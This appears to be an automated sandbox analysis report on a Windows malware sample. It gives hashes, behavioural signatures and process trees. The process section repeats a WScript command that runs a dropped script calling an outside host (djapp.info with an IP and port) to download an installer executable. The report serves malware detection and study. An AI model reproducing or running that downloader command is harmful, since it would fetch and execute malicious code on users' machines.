Analysis
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max time kernel
133s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
21-05-2024 14:04
Static task
static1
Behavioral task
behavioral1
Sample
638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
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Target
638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe
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Size
184KB
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MD5
638cfeb1a587464a49ddca953cc58092
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SHA1
3ad4c297736b0555bcebce7ed08cde14130b850b
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SHA256
fb447578be5ebddb61767ffafb67c2f1eb2fc62edd95eee3737a93f523969c8d
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SHA512
4979f9258b947fbb7bb16337ebddbbf88d1c9fe088431461cab335b7f92f99b13bb8ac6b1358e286560137a98b35b5ece66507dc0c8289e29cb284b6c9254414
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO32:/7BSH8zUB+nGESaaRvoB7FJNndnn
Malware Config
Signatures
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Blocklisted process makes network request 5 IoCs
Processes:
WScript.exeWScript.exeWScript.exeWScript.exeWScript.exeflow pid process 6 3432 WScript.exe 36 3592 WScript.exe 39 2088 WScript.exe 51 1636 WScript.exe 54 1760 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
Processes:
638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exedescription pid process target process PID 3852 wrote to memory of 3432 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe PID 3852 wrote to memory of 3432 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe PID 3852 wrote to memory of 3432 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe PID 3852 wrote to memory of 3592 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe PID 3852 wrote to memory of 3592 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe PID 3852 wrote to memory of 3592 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe PID 3852 wrote to memory of 2088 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe PID 3852 wrote to memory of 2088 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe PID 3852 wrote to memory of 2088 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe PID 3852 wrote to memory of 1636 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe PID 3852 wrote to memory of 1636 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe PID 3852 wrote to memory of 1636 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe PID 3852 wrote to memory of 1760 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe PID 3852 wrote to memory of 1760 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe PID 3852 wrote to memory of 1760 3852 638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe WScript.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3852 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf412F.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf412F.exe2⤵
- Blocklisted process makes network request
PID:3432
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf412F.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf412F.exe2⤵
- Blocklisted process makes network request
PID:3592
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf412F.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf412F.exe2⤵
- Blocklisted process makes network request
PID:2088
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf412F.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf412F.exe2⤵
- Blocklisted process makes network request
PID:1636
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf412F.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf412F.exe2⤵
- Blocklisted process makes network request
PID:1760
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76